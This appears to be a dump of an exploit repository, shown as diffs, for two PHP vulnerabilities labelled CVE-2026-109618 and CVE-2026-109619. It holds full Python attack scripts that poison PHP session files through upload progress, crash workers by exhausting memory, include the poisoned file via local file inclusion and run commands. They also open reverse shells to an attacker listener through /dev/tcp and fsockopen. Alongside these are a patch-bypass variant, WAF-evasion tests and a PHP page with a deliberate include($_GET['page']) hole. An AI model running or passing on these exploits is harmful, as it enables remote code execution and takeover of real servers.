body += b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
body += b"\r\n" + php_code + b"\r\n"
body += b"--" + bnd + b"\r\n"
body += b'Content-Disposition: form-data; name="file"; filename="oom.bin"\r\n'
body += b"Content-Type: application/octet-stream\r\n\r\n"
body += b"\x00" * 4096 + b"\r\n"
for i in range(field_count):
body += b"--" + bnd + b"\r\n"
body += b'Content-Disposition: form-data; name="p' + f"{i:05d}".encode() + b'"\r\n'
body += b"\r\n" + b"X" * field_size + b"\r\n"
body += b"--" + bnd + b"--\r\n"
return body
def phase1_crash(host, port, tls, path, sid, php_code, field_count, field_size):
"""Phase 1: Send massive multipart to trigger mmap() failure and crash worker."""
bnd = b"----RLIMITRCE"
body = build_oom_body(bnd, php_code, field_count, field_size)
print(f" Body: {len(body)/1048576:.1f}MB ({field_count} fields x {field_size}B)")
sock = tcp_connect(host, port, tls)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
try:
sock.sendall(body)
except (BrokenPipeError, ConnectionResetError):
pass
resp = b""
sock.settimeout(30)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except (socket.timeout, ConnectionResetError):
pass
sock.close()
status = 0
try:
status = int(resp.split(b" ")[1])
except (IndexError, ValueError):
pass
return status
def phase2_lfi(host, port, tls, path, lfi_param, sid, session_paths):
"""Phase 2: Include poisoned session file via LFI after worker respawns."""
for sp in session_paths:
sess_file = f"{sp}/sess_{sid}"
lfi_url = f"{path}?{lfi_param}={sess_file}"
try:
sock = tcp_connect(host, port, tls, timeout=10)
sock.sendall(
b"GET " + lfi_url.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
resp = recv_all(sock, timeout=5)
sock.close()
rbody = body_of(resp)
if b"CVE2026:" in rbody:
return rbody, sp
except Exception:
continue
return None, None
def run(args):
p = urlparse(args.target)
tls = p.scheme == "https"
host = p.hostname or "127.0.0.1"
port = p.port or (443 if tls else 80)
path = p.path or "/"
spaths = list(SESSION_PATHS)
if args.session_path:
spaths = [args.session_path] + [s for s in spaths if s != args.session_path]
if args.trigger_only:
php_code = b'<?php echo "CVE2026:TRIGGERED:".php_uname().":".posix_getuid(); ?>'
elif args.cmd:
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
php_code = f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
elif args.lhost and args.lport:
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
cmd_b64 = base64.b64encode(shell.encode()).decode()
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
else:
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only")
sys.exit(1)
print("=" * 65)
print(" PATCH BYPASS: RLIMIT_AS mmap() Failure RCE on PHP 8.4.27+")
print(" memory_limit=-1 + RLIMIT_AS → mmap fails → old OOM path")
print("=" * 65)
print(f" Target : {args.target}")
print(f" LFI param : {args.lfi_param}")
print(f" Fields : {args.fields} x {args.field_size}B")
if args.cmd:
print(f" Command : {args.cmd}")
elif args.lhost:
print(f" Reverse sh : {args.lhost}:{args.lport}")
print()
for attempt in range(args.attempts):
sid = os.urandom(16).hex()
print(f"[*] Attempt {attempt+1}/{args.attempts} — SID: {sid}")
print(f" Phase 1: Triggering mmap() failure via multipart flood...")
status = phase1_crash(host, port, tls, path, sid, php_code,
args.fields, args.field_size)
print(f" HTTP {status} — worker crashed (mmap failure)")
print(f" Waiting {args.respawn_wait}s for worker respawn...")
time.sleep(args.respawn_wait)
print(f" Phase 2: LFI include of poisoned session file...")
rbody, found_path = phase2_lfi(host, port, tls, path, args.lfi_param,
sid, spaths)
if rbody is not None:
text = rbody.decode(errors="replace")
if args.trigger_only:
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", text)
print(f"\n[+] Code execution confirmed!")
if m:
print(f" {m.group(1)}")
elif args.cmd:
m = re.search(r"CVE2026:(.*?):END", text, re.DOTALL)
result = m.group(1).strip() if m else text[:500]
print()
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
print(result)
print("[+] ══════════════════════════════════════════")
else:
print(f"\n[+] Payload sent — check {args.lhost}:{args.lport}")
print()
print(f"[+] Session path: {found_path}")
print("[+] RCE achieved via RLIMIT_AS mmap() bypass!")
print("[+] The 2026-10-21 patch does NOT handle mmap() failure path.")
print("[+] Affects: containers with cgroup limits, shared hosting with")
print("[+] RLIMIT_AS, any env where memory_limit=-1 + OS limits.")
print("[+] Mitigation: session.upload_progress.enabled=0")
return
print(f" Session file not found or already cleaned")
print()
print("[!] All attempts failed.")
print(" Possible causes:")
print(" - Target has PHP memory_limit set (not -1) → use standard exploit")
print(" - Target has no RLIMIT_AS/cgroup limit → mmap won't fail")
print(" - Session save path not in search list → use --session-path")
print(" - Worker respawn too slow → increase --respawn-wait")
def main():
ap = argparse.ArgumentParser(
description="Patch Bypass: RCE via RLIMIT_AS mmap() failure on PHP 8.4.27+",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
The PHP 8.4.27 patch only handles OOM from PHP's memory_limit (zend_mm).
When memory_limit=-1 and RLIMIT_AS (or cgroup) limits address space,
mmap() fails through a DIFFERENT path the patch doesn't cover.
Preconditions:
- Target uses memory_limit=-1 (trusting OS limits)
- OS enforces RLIMIT_AS or cgroup memory limit
- session.upload_progress.enabled=1 (default)
The only effective mitigation is: session.upload_progress.enabled=0
Examples:
%(prog)s -t http://target/app.php --cmd 'id'
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444
%(prog)s -t http://target/app.php --trigger-only --session-path /var/lib/php/sessions
%(prog)s -t http://target/app.php --cmd 'id' --fields 15000 --field-size 4096
""")
ap.add_argument("-t", "--target", required=True, help="Target URL with LFI")
ap.add_argument("--cmd", help="Command to execute")
ap.add_argument("--lhost", help="Reverse shell listener IP")
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
ap.add_argument("--trigger-only", action="store_true",
help="Confirm vulnerability only")
ap.add_argument("--lfi-param", default="page",
help="LFI query parameter (default: page)")
ap.add_argument("--session-path",
help="session.save_path on target")
ap.add_argument("--fields", type=int, default=10000,
help="Number of multipart fields (default: 10000)")
ap.add_argument("--field-size", type=int, default=8192,
help="Size of each field value in bytes (default: 8192)")
ap.add_argument("--respawn-wait", type=float, default=3.0,
help="Seconds to wait for worker respawn (default: 3.0)")
ap.add_argument("--attempts", type=int, default=3,
help="Number of attempts (default: 3)")
args = ap.parse_args()
run(args)
if __name__ == "__main__":
main()
+144
View File
@@ -0,0 +1,144 @@
#!/usr/bin/env python3
"""
WAF Bypass Tests for php2shell mitigations (CVE-2026-109618 / CVE-2026-109619)
Tests Content-Type evasion techniques against nginx/Apache WAF rules
that block multipart/form-data POST requests.
Tested against the community-recommended mitigations from:
- PasqualePillitteri/php2shell-hardening
- syhunt/php2shell-protection
Findings:
1. PUT/PATCH methods bypass POST-only WAF rules
- PHP 8.4's request_parse_body() parses multipart on these methods
- Session upload progress only fires on POST (rfc1867 handler)
- BUT: applications calling request_parse_body() on PUT/PATCH remain exposed
2. Duplicate Content-Type headers can bypass nginx $http_content_type matching
- nginx $http_content_type returns the first header value
- FastCGI CONTENT_TYPE joins all headers with ", "
- PHP truncates at first comma → takes the first value
- Result: nginx sees "text/plain" (no match), PHP sees "text/plain" (no multipart)
- PARTIAL bypass: passes WAF but doesn't trigger multipart parsing
3. Content-Type with reversed comma order bypasses nginx but not PHP
- "text/plain,multipart/form-data" → nginx doesn't match → WAF bypassed
- PHP truncates at comma → "text/plain" → no multipart parsing
- Same as #2: passes WAF but useless for the attack
4. The effective WAF bypass for the session poisoning attack is:
- If the WAF blocks multipart POST but allows normal POST
- AND the application has session.upload_progress.enabled=1
- The attacker can still race with the session file (no multipart needed for LFI)
- Only the POISON request needs multipart; the LFI probe is a normal GET
Usage:
python3 waf_bypass_test.py --target http://waf-target:8080 --unprotected http://direct-target:8080
"""
import argparse
import socket
import sys
def send_request(host, port, method, path, headers, body=b""):
"""Send raw HTTP request and return status code."""
sock = socket.create_connection((host, port), timeout=10)
req = f"{method} {path} HTTP/1.1\r\nHost: {host}\r\n".encode()
for k, v in headers.items():
if isinstance(v, list):
for val in v:
req += f"{k}: {val}\r\n".encode()
else:
req += f"{k}: {v}\r\n".encode()
if body:
req += f"Content-Length: {len(body)}\r\n".encode()
req += b"Connection: close\r\n\r\n"
if body:
req += body
sock.sendall(req)
resp = b""
sock.settimeout(5)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except:
pass
sock.close()
try:
return int(resp.split(b" ")[1])
except:
return 0
def run_tests(waf_host, waf_port, plain_host, plain_port):
bnd = "----WAFTEST"
body = f"------WAFTEST\r\nContent-Disposition: form-data; name=\"test\"\r\n\r\nvalue\r\n------WAFTEST--\r\n".encode()
tests = [
("Standard multipart POST",
"POST", {"Content-Type": f"multipart/form-data; boundary={bnd}"}),
("Mixed case: Multipart/Form-Data",
"POST", {"Content-Type": f"Multipart/Form-Data; boundary={bnd}"}),
("ALL CAPS: MULTIPART/FORM-DATA",
"POST", {"Content-Type": f"MULTIPART/FORM-DATA; boundary={bnd}"}),
("Leading whitespace",
"POST", {"Content-Type": f" multipart/form-data; boundary={bnd}"}),
("Comma-separated (multipart first)",
"POST", {"Content-Type": f"multipart/form-data,text/plain; boundary={bnd}"}),
("Comma-separated (text/plain first)",
"POST", {"Content-Type": f"text/plain,multipart/form-data; boundary={bnd}"}),
("Duplicate CT (text/plain first)",
"POST", {"Content-Type": ["text/plain", f"multipart/form-data; boundary={bnd}"]}),
("Duplicate CT (multipart first)",
"POST", {"Content-Type": [f"multipart/form-data; boundary={bnd}", "text/plain"]}),
("PUT method",
"PUT", {"Content-Type": f"multipart/form-data; boundary={bnd}"}),
("PATCH method",
"PATCH", {"Content-Type": f"multipart/form-data; boundary={bnd}"}),
]
print(f"{'Test':<45} {'WAF':>5} {'Direct':>6} {'Bypass?'}")
print("-" * 75)
for name, method, headers in tests:
waf_code = send_request(waf_host, waf_port, method, "/wp-login.php", headers, body)
direct_code = send_request(plain_host, plain_port, method, "/wp-login.php", headers, body)
bypass = "YES" if waf_code != 403 and direct_code in (200, 301, 302, 500) else ""
if waf_code != 403:
bypass = f"WAF:{waf_code}"
print(f"{name:<45} {waf_code:>5} {direct_code:>6} {bypass}")
def main():
ap = argparse.ArgumentParser(description="WAF bypass tests for php2shell mitigations")
ap.add_argument("--target", required=True, help="WAF-protected URL")
ap.add_argument("--unprotected", required=True, help="Unprotected URL (for comparison)")
args = ap.parse_args()
from urllib.parse import urlparse
waf = urlparse(args.target)
plain = urlparse(args.unprotected)
print("=" * 75)
print(" WAF Bypass Tests for php2shell Mitigations")
print("=" * 75)
print(f" WAF target : {args.target}")
print(f" Unprotected : {args.unprotected}")
print()
run_tests(waf.hostname, waf.port, plain.hostname, plain.port)
print()
print("Notes:")
print(" - PUT/PATCH bypass WAF but don't trigger session.upload_progress")
print(" - Comma/duplicate CT tricks pass WAF but PHP doesn't parse as multipart")
print(" - The race exploit only needs multipart for the POISON request (POST)")
print(" - The LFI probe is a normal GET, which no WAF blocks")
if __name__ == "__main__":
main()
+17
View File
@@ -0,0 +1,17 @@
<?php
header('Content-Type: text/plain');
$pid = getmypid();
$status_pre = session_status();
$sid_pre = session_id();
$ok = @session_start();
$status_post = session_status();
$sid_post = session_id();
$data = isset($_SESSION) ? $_SESSION : [];
echo "pid=$pid\n";
echo "session_status_before=$status_pre\n";
echo "session_id_before=$sid_pre\n";
echo "session_start_ok=" . var_export($ok, true) . "\n";
echo "session_status_after=$status_post\n";
echo "session_id_after=$sid_post\n";
echo "session_data=" . json_encode($data) . "\n";
echo "session_save_path=" . session_save_path() . "\n";
+426
View File
@@ -0,0 +1,426 @@
#!/usr/bin/env python3
"""
CVE-2026-109618 — PHP Multipart Parser OOM → Session Poisoning → RCE
The PHP multipart parser (rfc1867.c) allocates memory for each form field
during request parsing. By sending enough fields to exceed memory_limit
(or RLIMIT_AS), OOM triggers during parsing itself. The resulting
zend_bailout() longjmps past the MULTIPART_EVENT_END handler, which
skips session.upload_progress cleanup — even with cleanup=1 (default).
The session file — poisoned via PHP_SESSION_UPLOAD_PROGRESS with embedded
PHP code — persists on disk. A follow-up request to a new FPM worker
includes this file via an LFI vector, executing our code.
Phase 1 ─ Poison + Crash
Multipart body:
1. PHP_SESSION_UPLOAD_PROGRESS = <?php PAYLOAD ?>
2. File upload (triggers progress handler → session flush to disk)
3. N form fields (OOM during parsing → bailout → cleanup skipped)
Worker crashes → session file persists with PHP code on disk.
Phase 2 ─ Trigger
FPM master spawns new worker. We include the session file via LFI
and the embedded PHP code executes.
Requirements:
- PHP-FPM with session.upload_progress.enabled=1 (default)
- memory_limit reachable via multipart fields (or RLIMIT_AS)
- An LFI vector in the target (include/require with user input)
- Known or guessable session.save_path
Tested: PHP 8.1–8.4, x86_64 Linux, NTS.
Usage:
python3 exploit.py -t http://target/app.php --cmd 'id'
python3 exploit.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
python3 exploit.py -t http://target/app.php --trigger-only
"""
import argparse
import base64
import os
import re
import socket
import sys
import time
from urllib.parse import urlparse
# ─── defaults ────────────────────────────────────────────────────────
FIELD_COUNT = 30000
FIELD_SIZE = 512
BATCH = 500
USE_CHUNKED = True
SESSION_PATHS = [
"/tmp",
"/tmp/php-sessions",
"/var/lib/php/sessions",
"/var/lib/php5/sessions",
"/var/lib/php/sess",
]
# ─── multipart builder ───────────────────────────────────────────────
def mp_field(bnd, name, value):
return (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
b"\r\n" + value + b"\r\n")
def mp_file(bnd, name, fname, content):
return (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="' + name
+ b'"; filename="' + fname + b'"\r\n'
b"Content-Type: application/octet-stream\r\n"
b"\r\n" + content + b"\r\n")
def mp_end(bnd):
return b"--" + bnd + b"--\r\n"
# ─── HTTP helpers ────────────────────────────────────────────────────
def tcp_connect(host, port, tls, timeout=60):
sock = socket.create_connection((host, port), timeout=timeout)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def send_chunk(sock, data):
sock.sendall(f"{len(data):x}\r\n".encode() + data + b"\r\n")
def recv_all(sock, timeout=10):
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except socket.timeout:
pass
return resp
def http_get(host, port, tls, path, timeout=10):
sock = tcp_connect(host, port, tls, timeout)
sock.sendall(
b"GET " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
resp = recv_all(sock, timeout)
sock.close()
return resp
def status_code(resp):
try:
return int(resp.split(b" ")[1])
except:
return 0
def body_of(resp):
if b"\r\n\r\n" not in resp:
return resp
hdr, raw = resp.split(b"\r\n\r\n", 1)
if b"transfer-encoding: chunked" in hdr.lower():
out = b""
data = raw
while data:
nl = data.find(b"\r\n")
if nl < 0:
break
try:
clen = int(data[:nl].split(b";")[0].strip(), 16)
except ValueError:
break
if clen == 0:
break
out += data[nl+2:nl+2+clen]
data = data[nl+2+clen+2:]
return out
return raw
# ─── Phase 1: poison session + crash worker ──────────────────────────
def phase1(host, port, tls, path, bnd, sid, php_code, fields, fsize,
chunked=True):
"""Send multipart: upload progress + file + OOM fields.
Returns (http_status_or_0, fields_sent_before_crash).
When chunked=False, builds full body with Content-Length. Required
when nginx has fastcgi_request_buffering off — chunked bodies bypass
PHP's multipart parser in that configuration.
"""
if not chunked:
return _phase1_contentlength(host, port, tls, path, bnd, sid,
php_code, fields, fsize)
sock = tcp_connect(host, port, tls)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
b"Transfer-Encoding: chunked\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
# 1. PHP_SESSION_UPLOAD_PROGRESS — value becomes session key suffix
send_chunk(sock, mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code))
# 2. File upload — triggers progress handler, session flushed to disk
send_chunk(sock, mp_file(bnd, b"file", b"x.bin", b"\x00" * 4096))
# 3. Pressure fields — OOM during parsing before MULTIPART_EVENT_END
sent = 0
for start in range(0, fields, BATCH):
end = min(start + BATCH, fields)
batch = b""
for i in range(start, end):
batch += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize)
try:
send_chunk(sock, batch)
sent = end
except (BrokenPipeError, ConnectionResetError, OSError):
break
try:
send_chunk(sock, mp_end(bnd))
sock.sendall(b"0\r\n\r\n")
except:
pass
resp = recv_all(sock, timeout=5)
sock.close()
return status_code(resp), sent
def _phase1_contentlength(host, port, tls, path, bnd, sid, php_code,
fields, fsize):
"""Content-Length variant — builds the full body then sends it."""
body = b""
body += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code)
body += mp_file(bnd, b"file", b"x.bin", b"\x00" * 4096)
for i in range(fields):
body += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize)
body += mp_end(bnd)
sock = tcp_connect(host, port, tls)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
try:
sock.sendall(body)
except (BrokenPipeError, ConnectionResetError, OSError):
pass
resp = recv_all(sock, timeout=5)
sock.close()
return status_code(resp), fields
# ─── Phase 2: LFI include of session file ───────────────────────────
def phase2(host, port, tls, path, sid, session_paths, lfi_param):
"""Try including the session file via common paths."""
for sp in session_paths:
sess = f"{sp}/sess_{sid}"
url = f"{path}?{lfi_param}={sess}"
try:
resp = http_get(host, port, tls, url, timeout=10)
rbody = body_of(resp)
if b"CVE2026:" in rbody or b"upload_progress_" in rbody:
return resp, sess
except:
continue
return None, None
# ─── main ────────────────────────────────────────────────────────────
def run(args):
p = urlparse(args.target)
tls = p.scheme == "https"
host = p.hostname or "127.0.0.1"
port = p.port or (443 if tls else 80)
path = p.path or "/"
sid = args.session_id or os.urandom(16).hex()
bnd = b"----CVE2026OOM" + os.urandom(8).hex().encode()
spaths = list(SESSION_PATHS)
if args.session_path:
spaths = [args.session_path] + [s for s in spaths if s != args.session_path]
# Build PHP payload
if args.trigger_only:
php_code = b'<?php echo "CVE2026:TRIGGERED:pid=".getmypid().":".php_uname(); ?>'
elif args.cmd:
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
php_code = f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
elif args.lhost and args.lport:
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
cmd_b64 = base64.b64encode(shell.encode()).decode()
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
else:
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only", file=sys.stderr)
sys.exit(1)
print("=" * 65)
print(" CVE-2026-109618: PHP Multipart OOM → Session Poisoning → RCE")
print("=" * 65)
print(f" Target : {args.target}")
print(f" Session ID : {sid}")
print(f" LFI param : {args.lfi_param}")
print(f" Fields : {args.fields} × {args.field_size}B")
if args.cmd:
print(f" Command : {args.cmd}")
elif args.lhost:
print(f" Reverse sh : {args.lhost}:{args.lport}")
print()
# ── Phase 0: verify target ──
print("[*] Phase 0: checking target...")
try:
r0 = http_get(host, port, tls, path, timeout=5)
sc = status_code(r0)
if sc == 0:
raise ConnectionError("no response")
print(f" HTTP {sc} — target alive")
except Exception as e:
print(f" [!] Not reachable: {e}")
sys.exit(1)
# ── Phase 1: poison session + crash ──
print()
print("[*] Phase 1: session poisoning + OOM crash")
print(f" Injecting {len(php_code)}B PHP code into session key...")
use_chunked = not args.no_chunked
if not use_chunked:
print(f" Using Content-Length mode (required for fastcgi_request_buffering off)")
status, fields_sent = phase1(
host, port, tls, path, bnd, sid,
php_code, args.fields, args.field_size,
chunked=use_chunked,
)
if status == 502 or status == 0:
print(f" [+] Worker crashed (HTTP {status or 'reset'})")
print(f" OOM after ~{fields_sent} fields — bailout skipped session cleanup")
elif status == 500:
print(f" [+] HTTP 500 — OOM during script (worker survived)")
else:
print(f" [!] HTTP {status} — may not have OOMed; try increasing --fields")
# Wait for new worker
print(" Waiting for new worker...")
time.sleep(1.5)
for i in range(8):
try:
r1 = http_get(host, port, tls, path, timeout=3)
sc1 = status_code(r1)
if sc1 in (200, 301, 302, 403, 404):
print(f" New worker ready (HTTP {sc1})")
break
except:
pass
time.sleep(1)
else:
print(" [!] New worker not available after 8 retries")
sys.exit(1)
# ── Phase 2: LFI trigger ──
print()
print("[*] Phase 2: including poisoned session file via LFI...")
resp, sess_path = phase2(host, port, tls, path, sid, spaths, args.lfi_param)
if resp is None:
print(" [!] Session file not found at any common path")
print(f" Try: --session-path /actual/path")
print(f" File: sess_{sid}")
sys.exit(1)
output = body_of(resp).decode(errors="replace")
print(f" Session file: {sess_path}")
if args.trigger_only:
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", output)
if m:
print()
print(f"[+] Code execution confirmed!")
print(f" {m.group(1)}")
else:
print(f" [*] Session file exists but code may not have executed")
print(f" Response: {output[:200]}")
return
if args.cmd:
m = re.search(r"CVE2026:(.*?):END", output, re.DOTALL)
if m:
result = m.group(1).strip()
else:
result = output.split("upload_progress_")[0] if "upload_progress_" in output else output[:500]
result = re.sub(r"\r?\npid=\d+.*", "", result, flags=re.DOTALL).strip()
result = re.sub(r"\r?\n\d+\s*$", "", result).strip()
print()
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
print(result)
print("[+] ══════════════════════════════════════════")
print()
print("[+] RCE achieved via CVE-2026-109618!")
print()
print("[*] For continued access:")
cmd_b64 = base64.b64encode(b"id").decode()
print(f" curl '{args.target}?{args.lfi_param}={sess_path}&c={cmd_b64}'")
else:
print()
print(f"[+] Payload delivered — check listener at {args.lhost}:{args.lport}")
print(f"[*] Session file for re-exploitation: {sess_path}")
def main():
ap = argparse.ArgumentParser(
description="CVE-2026-109618: PHP multipart OOM → session poisoning → RCE",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
%(prog)s -t http://target/app.php --cmd 'id'
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444
%(prog)s -t http://target/app.php --trigger-only
%(prog)s -t http://target/app.php --cmd 'cat /etc/passwd' \\
--session-path /var/lib/php/sessions --lfi-param tpl
""")
ap.add_argument("-t", "--target", required=True, help="Target URL")
ap.add_argument("--cmd", help="Command to execute")
ap.add_argument("--lhost", help="Reverse shell listener IP")
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
ap.add_argument("--trigger-only", action="store_true",
help="Confirm vuln without RCE payload")
ap.add_argument("--session-path",
help="session.save_path on target (default: common paths)")
ap.add_argument("--session-id",
help="Force PHPSESSID (default: random hex)")
ap.add_argument("--lfi-param", default="page",
help="LFI query parameter (default: page)")
ap.add_argument("--fields", type=int, default=FIELD_COUNT,
help=f"Pressure fields for OOM (default: {FIELD_COUNT})")
ap.add_argument("--field-size", type=int, default=FIELD_SIZE,
help=f"Bytes per field (default: {FIELD_SIZE})")
ap.add_argument("--no-chunked", action="store_true",
help="Use Content-Length instead of chunked encoding "
"(required when nginx has fastcgi_request_buffering off)")
args = ap.parse_args()
run(args)
if __name__ == "__main__":
main()
+11
View File
@@ -0,0 +1,11 @@
<?php
session_start();
$pid = getmypid();
if (isset($_GET['page'])) {
include($_GET['page']);
}
$n = count($_POST);
$files = count($_FILES);
echo "pid=$pid post=$n files=$files sid=" . session_id() . "\n";
+20
View File
@@ -0,0 +1,20 @@
<?php
$pid = getmypid();
$status_pre = session_status();
$sid_pre = session_id();
$ok = @session_start();
$status_post = session_status();
$sid_post = session_id();
$sess_data = isset($_SESSION) ? $_SESSION : null;
$sess_keys = is_array($sess_data) ? array_keys($sess_data) : 'NULL';
$sess_payload_len = is_array($sess_data) && isset($sess_data['payload']) ? strlen($sess_data['payload']) : 0;
header('Content-Type: text/plain');
echo "pid=$pid\n";
echo "session_status_before=$status_pre\n";
echo "session_id_before=$sid_pre\n";
echo "session_start_ok=" . var_export($ok, true) . "\n";
echo "session_status_after=$status_post\n";
echo "session_id_after=$sid_post\n";
echo "session_keys=" . (is_array($sess_keys) ? implode(',', $sess_keys) : $sess_keys) . "\n";
echo "session_payload_len=$sess_payload_len\n";
+686
View File
@@ -0,0 +1,686 @@
#!/usr/bin/env python3
"""
CVE-2026-109619 — RCE via PHP session upload progress
PHP's session.upload_progress feature (enabled by default) writes
upload progress data to the session file during multipart request
parsing. The progress key stored in the session is constructed as:
session.upload_progress.prefix + $_POST[session.upload_progress.name]
The attacker controls the POST field value, and the session file
serializer (php format) stores the key VERBATIM — the only character
filtered is '|' (the key/value delimiter). This means arbitrary
bytes, including PHP code, are written into the session file on disk.
The session file path is predictable:
<session.save_path>/sess_<PHPSESSID>
Common default paths:
/tmp/sess_*
/var/lib/php/sessions/sess_*
Exploitation:
1. Send a multipart POST with PHP_SESSION_UPLOAD_PROGRESS containing
embedded PHP code: <?php system($cmd); ?>
2. The upload progress callback writes this to the session file.
3. Include the session file via any local-file-include vector:
- Direct include() / require() with attacker-controlled path
- PHP stream wrappers (php://filter)
- Log/session file inclusion (a classic PHP attack)
4. The PHP engine parses the session file, finds the <?php ?> tag
within the serialized data, and executes the injected code.
The exploit automates all steps: it obtains a session ID, injects code
via upload progress, and triggers inclusion for RCE.
Requirements
------------
- session.upload_progress.enabled = 1 (ON by default in all PHP builds)
- session.serialize_handler = php (default)
- Target endpoint calls session_start()
- An LFI vector OR known session save path + include primitive
- Tested on PHP 8.0–8.4 x86_64 Linux
Usage
-----
# Reverse shell via LFI
python3 exploit.py --target http://target/app.php \\
--lfi-param page \\
--session-path /tmp \\
--lhost 10.0.0.1 --lport 4444
# Trigger-only (write code to session, report path)
python3 exploit.py --target http://target/app.php --trigger-only
# Custom command
python3 exploit.py --target http://target/app.php \\
--lfi-param page --session-path /tmp \\
--cmd "id > /tmp/pwned"
"""
import argparse
import io
import os
import socket
import sys
import time
import re
import threading
# ---------------------------------------------------------------------------
# Config
# ---------------------------------------------------------------------------
BOUNDARY = b"----CVE2026109619" + os.urandom(8).hex().encode()
PROGRESS_FIELD = b"PHP_SESSION_UPLOAD_PROGRESS"
DEFAULT_SESSION_PATHS = [
"/tmp",
"/tmp/php-sessions",
"/var/lib/php/sessions",
"/var/lib/php5/sessions",
"/var/lib/php/session",
]
# ---------------------------------------------------------------------------
# Multipart helpers
# ---------------------------------------------------------------------------
def multipart_field(name: bytes, value: bytes) -> bytes:
return (
b"--" + BOUNDARY + b"\r\n"
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
b"\r\n" + value + b"\r\n"
)
def multipart_file(name: bytes, filename: bytes, content: bytes,
content_type: bytes = b"application/octet-stream") -> bytes:
return (
b"--" + BOUNDARY + b"\r\n"
b'Content-Disposition: form-data; name="' + name
+ b'"; filename="' + filename + b'"\r\n'
b"Content-Type: " + content_type + b"\r\n"
b"\r\n" + content + b"\r\n"
)
def multipart_end() -> bytes:
return b"--" + BOUNDARY + b"--\r\n"
# ---------------------------------------------------------------------------
# Payload construction
# ---------------------------------------------------------------------------
def make_php_payload(cmd: str) -> bytes:
"""Craft PHP code to inject into the session file via progress key.
The code is embedded in the progress key prefix, so it ends up as:
upload_progress_<PHP_CODE>
in the session file. When the file is included, PHP parses and
executes the <?php ?> block."""
return f'<?php {cmd} ?>'.encode()
def make_reverse_shell_payload(lhost: str, lport: int) -> bytes:
cmd = (
f"$sock=fsockopen('{lhost}',{lport});"
f"$proc=proc_open('/bin/sh',array(0=>$sock,1=>$sock,2=>$sock),$pipes);"
)
return make_php_payload(cmd)
def make_cmd_payload(cmd: str) -> bytes:
return make_php_payload(f'system("{cmd}");')
# ---------------------------------------------------------------------------
# HTTP helpers (raw sockets for precision)
# ---------------------------------------------------------------------------
def _parse_url(url: str):
from urllib.parse import urlparse
p = urlparse(url)
tls = p.scheme == "https"
host = p.hostname or "127.0.0.1"
port = p.port or (443 if tls else 80)
path = p.path or "/"
if p.query:
path += "?" + p.query
return host, port, tls, path
def _connect(host: str, port: int, tls: bool):
sock = socket.create_connection((host, port), timeout=10)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def _recv_response(sock, timeout=5) -> bytes:
resp = b""
sock.settimeout(timeout)
try:
while True:
chunk = sock.recv(8192)
if not chunk:
break
resp += chunk
if b"\r\n\r\n" in resp:
hdr_end = resp.index(b"\r\n\r\n") + 4
headers = resp[:hdr_end]
# Check Content-Length
m = re.search(rb'Content-Length:\s*(\d+)', headers, re.I)
if m:
cl = int(m.group(1))
body_so_far = len(resp) - hdr_end
while body_so_far < cl:
more = sock.recv(8192)
if not more:
break
resp += more
